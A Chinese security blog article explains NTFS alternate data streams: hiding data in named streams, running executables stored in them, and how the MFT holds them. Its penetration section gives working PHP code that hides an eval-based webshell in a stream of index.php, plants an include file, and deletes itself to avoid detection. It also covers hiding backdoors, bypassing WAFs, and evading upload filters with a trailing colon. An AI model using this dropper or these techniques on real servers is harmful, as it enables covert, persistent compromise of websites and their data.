文件寄生——寻找宿主的不归路(NTFS文件流实际应用)

NTFS文件系统实现了多文件流特性,NTFS环境一个文件默认使用的是未命名的文件流,同时可创建其他命名的文件流,windows资源管理器默认不显示出文件的命名文件流,这些命名的文件流在功能上和默认使用的未命名文件流一致,甚至可以用来启动程序。

NTFS文件流生成步骤:

本文文件寄生——寻找宿主的不归路(NTFS文件流实际应用)”由作者米斯特安全攻防实验室 Www.Hi-OurLife.Com @ gh0stkey原创投稿安全脉搏,安全脉搏发表本文,如需要转载,请先联系安全脉搏授权;未经授权请勿转载。

1.我们在任意一个NTFS分区下打开CMD命令提示符,输入echo mstlab>>mst.txt:test.txt,则在当前目录下会生成一个名为mst.txt的文件,但文件的大小为0字节,打开后也无任何内容。

1

只有输入命令:notepad mst.txt:test.txt 才能看见写入的mstlab

2

3

2.在上边的命令中,mst.txt可以不存在,也可以是某个已存的文件,文件格式无所谓,无论是.txt还是.jpg|.exe|.asp都行b.txt也可以任意指定文件名以及后缀名。(可以将任意文本信息隐藏于任意文件中,只要不泄露冒号后的虚拟文件名(即test.txt),别人是根本不会查看到隐藏信息的)。

3.包含隐藏信息的文件仍然可以继续隐藏其它的内容,对比上例,我们仍然可以使用命令echo mstlab1>>mst.txt:test1.txt 给mst.txt建立新的隐藏信息的流文件,使用命令notepad mst.txt:test1.txt 打开后会发现mstlab1这段信息,而mstlab仍然存在于mst.txt:test.txt中丝毫不受影响。

4
所以这里的宿主mst.txt成功的被test.txt和test1.txt所寄生,而在这里的微妙关系显而易见,宿主消失寄生消失。

NTFS特性和原理分析:

特性1:
实验工具下载:https://github.com/wangyongxina/filestreams/blob/master/Release/Release.7z

工具使用说明:
create 创建文件流
enum 列举文件流
delete 删除文件流
write 写入内容到文件流
append 增加文件到文件流
launch 执行文件流的内容
dump 读取文件流的内容

我们让上一步骤归零,重新来看看mst.txt:

5
而这里的default文件流就验证了最开头的一句话,默认使用的是为命名的文件流。

实验开始,首先我们使用FileStreams.exe创建一个文件流vkey:

FileStreams.exe create mst.txt vkey

6
然后写入内容到文件流vkey:

FileStreams.exe write mst.txt vkey content

7

再来查看文件流vkey的内容:

FileStreams.exe dump mst.txt vkey 14

这里的14从何而来,相信聪明的你们能明白。(文件流vkey大小 14)

8

那么最开始也说了,文件流是可以用来启动程序的,我们来试试:

1.加入文件到文件流vkey:

FileStreams.exe append mst.txt vkey C:\Users\gh0stkey\Desktop\test\FileStreams.exe

9

2.查看文件流vkey的内容,这里就看前100个字节的内容:

FileStreams.exe dump mst.txt vkey 100

10

3.执行文件流vkey:

11

顺利的执行了C:\Users\gh0stkey\Desktop\test\FileStreams.exe 这个文件。

特性2

自动创建空文件:

12

自动创建宿主,然后寄生。

在没有原文件的情况下创建文件流,会自动创建一个空文件。

原理分析:

好,现在我们以及初步了解了文件流的特性。再来看看NTFS文件流实现原理:

如文件大小,文件创建时间,文件修改时间,文件名,文件内容等被组织成属性来存放,NTFS定义了一序列的文件属性:

13
详细说明可以搜索NTFS3G,这些属性统一组织在NTFS的MFT(Master File Table)上,每个MFT大小1024个字节,MFT的$DATA属性即是前面提到的文件流,通常来说包含多个不同名字的$DATA属性即说明该文件存在多个文件流,下图是winhex打开1.txt定位到1.txt的MFT,我们实际看一下NTFS是如何组织的:

14

可以看到文件流test2的数据是直接存放在MFT上,因为test2的数据小,而testExe的数据则没有明显看出来,因为testExe数据比较大,MFT里面存放的是簇信息。(https://www.secpulse.com/archives/57232.html)

渗透中的利用:

Webshell后门隐藏:

<?php
exec('echo "<?php @eval($_POST[key]);?>">>index.php:key.php');
$key = <<<key
echo "<?php include 'index.php:key.php';?>">>a.php
key;
exec($key);
$url = $_SERVER['PHP_SELF'];
$filename= substr($url,strrpos($url,'/')+1);
@unlink($filename);
?>

15

为什么这样写?首先我们知道网站的默认首页是index.php,所以我们使用了第一段代码:

exec('echo "<?php @eval($_POST[key]);?>">>index.php:key.php');

直接写一个一句话内容到key.php这个文件流中。

其次,文件流是不可能直接执行的,但是PHP可以使用包含函数,所以就产生了第二段代码:

$key = <<<key
echo "<?php include 'index.php:key.php';?>">>a.php
key;
exec($key);

最后,为了不被发现要删除本身文件,就出来了代码:

$url = $_SERVER['PHP_SELF'];
$filename= substr($url,strrpos($url,'/')+1);
@unlink($filename);

软件后门隐藏:

使用特性1写一段代码后台自动运行这个文件流即可。

ByPass WAF:

测试了下一些WAF还是可以绕过的。
较为鸡肋:

16

需要有一个文件包含才行。

当然一些局限性的限制寄生虫可以拿到主权:
利用下面的默认流替换特性上传文件名为1.php:的文件,绕过后缀名限制即可。

默认流替换:

默认流也就是宿主自身的,这里完全可以吞噬宿主,成为宿主。

这个方法算是打破常规的认识了,很有意思。

17

如上图,我们直接执行echo xxxx>>1.txt:
即可替换默认流:

18
当然如果宿主不存在,将会创建宿主并且吞噬宿主,从而成为宿主。

此方法笔者在一次局限性的命令执行中完美运用上了。

总结

原文件=宿主,文件流=寄生虫。各位朋友根据根据这篇文章的基础继续深入研究,把文件流应用于各种操作之中,造出"猥琐"流。

本文文件寄生——寻找宿主的不归路(NTFS文件流实际应用)”由作者米斯特安全攻防实验室 Www.Hi-OurLife.Com @ gh0stkey原创投稿安全脉搏,安全脉搏发表本文,如需要转载,请先联系安全脉搏授权;未经授权请勿转载。

 

【安全脉搏:分享技术、悦享品质。文章仅代表作者看法,如有不同观点,欢迎添加安全脉搏微信号:SecPulse,进行交流。】

抢沙发

昵称*

邮箱*

网址

友情链接

合作伙伴